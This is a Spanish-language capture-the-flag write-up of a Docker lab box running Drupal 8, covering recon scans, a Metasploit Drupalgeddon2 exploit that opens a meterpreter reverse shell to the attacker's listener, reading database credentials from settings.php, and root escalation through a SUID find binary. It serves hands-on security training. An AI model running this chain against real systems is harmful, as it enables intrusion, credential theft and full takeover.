



Empezamos esta máquina con nuestro script favorito que nos devuelve de forma automática ya un informe preliminar:

CTF Writeup / Auto-Report: 172.17.0.2

 Fecha de Auditoría: 22-06-2026 20:52:48  Objetivo (Target IP): 172.17.0.2

1. Resumen Ejecutivo

Este es un escaneo automatizado de reconocimiento rápido para el entorno CTF.

Métricas Clave de la Máquina:

- Puertos Abiertos Detectados: 1
- ¿Vulnerabilidades Potenciales?:  No se detectaron patrones obvios a primera vista
- Estado del Fuzzing Web: 5 directorios/archivos encontrados

Próximos pasos recomendados:

1. Revisa la tabla de servicios abajo para buscar versiones obsoletas.
2. Revisa las tecnologías identificadas en la sección 5 para buscar vulnerabilidades en CMS o componentes web.

3. Examina los códigos 200 y 301/302 del Fuzzing Web en la sección 6.

2. Puertos y Servicios Detectados

Puerto	Estado	Servicio	Versión
80/tcp	open	http	Apache httpd 2.4.25

3. Análisis de Versiones Detallado

```
PORT      STATE SERVICE VERSION
80/tcp    open  http   Apache httpd 2.4.25
|_http-server-header: Apache/2.4.25 (Debian)
|_http-title: 403 Forbidden
MAC Address: 36:92:49:35:C3:F9 (Unknown)
Service Info: Host: 172.17.0.2
```

4. Auditoría de Vulnerabilidades (Scripts Nmap)

```
PORT      STATE SERVICE
80/tcp    open  http
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
MAC Address: 36:92:49:35:C3:F9 (Unknown)
```

5. Tecnologías Web Detectadas (WhatWeb)

- WhatWeb report for <http://172.17.0.2>
- Status : 403 Forbidden
- Title : 403 Forbidden
- IP : 172.17.0.2
- Country : RESERVED, ZZ
- Summary : Apache2.4.25
- HTTPServerDebian LinuxApache/2.4.25 (Debian)
- Detected Plugins:
- Apache
- The Apache HTTP Server Project is an effort to develop and
- maintain an open-source HTTP server for modern operating
- systems including UNIX and Windows NT. The goal of this
- project is to provide a secure, efficient and extensible
- server that provides HTTP services in sync with the current
- HTTP standards.

- Version : 2.4.25 (from HTTP Server Header)
- Google Dorks: (3)
- Website : <http://httpd.apache.org/>
- HTTPServer
- HTTP server header string. This plugin also attempts to
- identify the operating system from the server header.
- OS : Debian Linux
- String : Apache/2.4.25 (Debian) (from server string)
- HTTP Headers:
- HTTP/1.1 403 Forbidden
- Date: Mon, 22 Jun 2026 18:52:41 GMT
- Server: Apache/2.4.25 (Debian)
- Content-Length: 285
- Connection: close
- Content-Type: text/html; charset=iso-8859-1



6. Fuzzing de Directorios Web (Gobuster)

```
.htpasswd      [33m (Status: 403)[0m [Size: 294]
.htaccess      [33m (Status: 403)[0m [Size: 294]
.hta           [33m (Status: 403)[0m [Size: 289]
drupal         [36m (Status: 301)[0m [Size: 309][34m [-->
http://172.17.0.2/drupal/][0m
server-status  [33m (Status: 403)[0m [Size: 298]
```

Todo el informe se reserva para el final la pista clave: Drupal. En este caso usamos la herramienta de nuclei que nos devuelve más info importante: la página de user/login y la versión Drupal 8.

```
$ nuclei -u http://172.17.0.2/drupal -automatic-scan
```



projectdiscovery.io

```
[WRN] Found 2 templates with runtime error (use -validate flag for further examination)
```

```
[INF] Current nuclei version: v3.8.0 (outdated)
```

```
[INF] Current nuclei-templates version: v10.4.4 (latest)
```

```
[INF] New templates added in latest release: 179
```

```
[INF] Templates loaded for current scan: 10365
```

```
[INF] Executing 10348 signed templates from projectdiscovery/nuclei-templates
```

```
[WRN] Loading 17 unsigned templates for scan. Use with caution.
```

```
[INF] Targets loaded for current scan: 1
```

```
[INF] Automatic scan tech-detect: Templates clustered: 606 (Reduced 578 Requ
ests)
```

```
[INF] Executing Automatic scan on 1 target[s]
```

```
[drupal-detect] [http] [info] http://172.17.0.2/drupal/CHANGELOG.txt
```

```
[fingerprinthub-web-fingerprints:drupal] [http] [info] http://172.17.0.2/drupal/
```

```
[metatag-cms] [http] [info] http://172.17.0.2/drupal/ ["Drupal 8 (https://www.drupal.org)"]
```

```
[tech-detect:drupal] [http] [info] http://172.17.0.2/drupal/
```

```
[tech-detect:php] [http] [info] http://172.17.0.2/drupal/
```

```
[waf-detect:apachegeneric] [http] [info] http://172.17.0.2/drupal
```

```
[INF] Found 8 tags and 6 matches on detection templates on http://172.17.0.2/drupal [wappalyzer: 4, detection: 6]
```

```
[INF] Executing 502 templates on http://172.17.0.2/drupal
```

```
[INF] Using Interactsh Server: oast.online
```

```
[drupal-login] [http] [info] http://172.17.0.2/drupal/user/login
```

```
[drupal-detect] [http] [info] http://172.17.0.2/drupal/CHANGELOG.txt
```

```
[metatag-cms] [http] [info] http://172.17.0.2/drupal/ ["Drupal 8 (https://www.drupal.org)"]
```

```
[INF] Scan completed in 1m. 9 matches found.
```

Con esto abrimos metasploit y buscamos Drupal 8. Usamos la primera opción que es la más conocida y estamos dentro de una sesión de meterpreter:

```
msf exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 172.28.70.149:4444
[*] Running automatic TCP check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Detected vulnerable version 8
[*] Sending stage (45739 bytes) to 172.17.0.2
[*] Meterpreter session 1 opened (172.28.70.149:4444 -> 172.17.0.2:43990) at
2026-06-22 20:50:58 +0200
```

```
meterpreter > dir
Listing: /var/www/html/drupal
=====
```

Empezamos a buscar por los archivos:

```

meterpreter > shell
Process 25 created.
Channel 0 created.
whoami
www-data
find / -name settings.php 2>/dev/null
/var/www/html/drupal/sites/default/settings.php
pwd
/var/www/html/drupal
cd sites/default/
pwd
/var/www/html/drupal/sites/default
ls
default.services.yml
default.settings.php
files
settings.php
cat settings.php
<?php

```

Primero pasamos el meterpreter a una shell para usar “find” y buscar la dirección del archivo settings.php, hacemos cat del archivo y buscamos la sección de “database”

```

* @code
* $databases['default']['default'] = array (
*   'database' => 'database_under_beta_testing', // Mensaje del sysadmin, no se
usar sql y petó la base de datos jiji xd
*   'username' => 'ballenita',
*   'password' => 'ballenitafeliz', //Cuidadito cuidadín pillin
*   'host' => 'localhost',
*   'port' => '3306',
*   'driver' => 'mysql',
*   'prefix' => '',
*   'collation' => 'utf8mb4_general_ci',
* );
* @endcode

```

Con las ballenitas nos vamos a la página de login. Dentro podemos subir una imagen de perfil, pruebo con algunas extensiones para hacer un bypass pero no se permite, pienso en subir una imagen real con metadatos pero aun no lo hice nunca... vuelvo a empezar, no se permite sudo pero find puedo buscar: “find / -perm -4000 -ls 2>/dev/null” y así encuentro el permiso de find como user y en GTFOBINS:

Unprivileged | Sudo | SUID

This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the *effective* privileges are not dropped.

Remarks

This executable runs commands directly, e.g., via functions like `exec`, remember to omit the `-p` argument of every `/bin/sh` invocation for distributions where the default shell does not drop SUID privileges.

```
find . -exec /bin/sh -p \; -quit
```

Encontramos la forma de explotarlo, mucho más sencillo así que con la foto aunque practicaremos también.

```
/bin/sh: 0: Illegal option -p
/bin/sh: 0: Illegal option -p
/usr/bin/find . -exec /bin/bash -p \;
whoami
root
```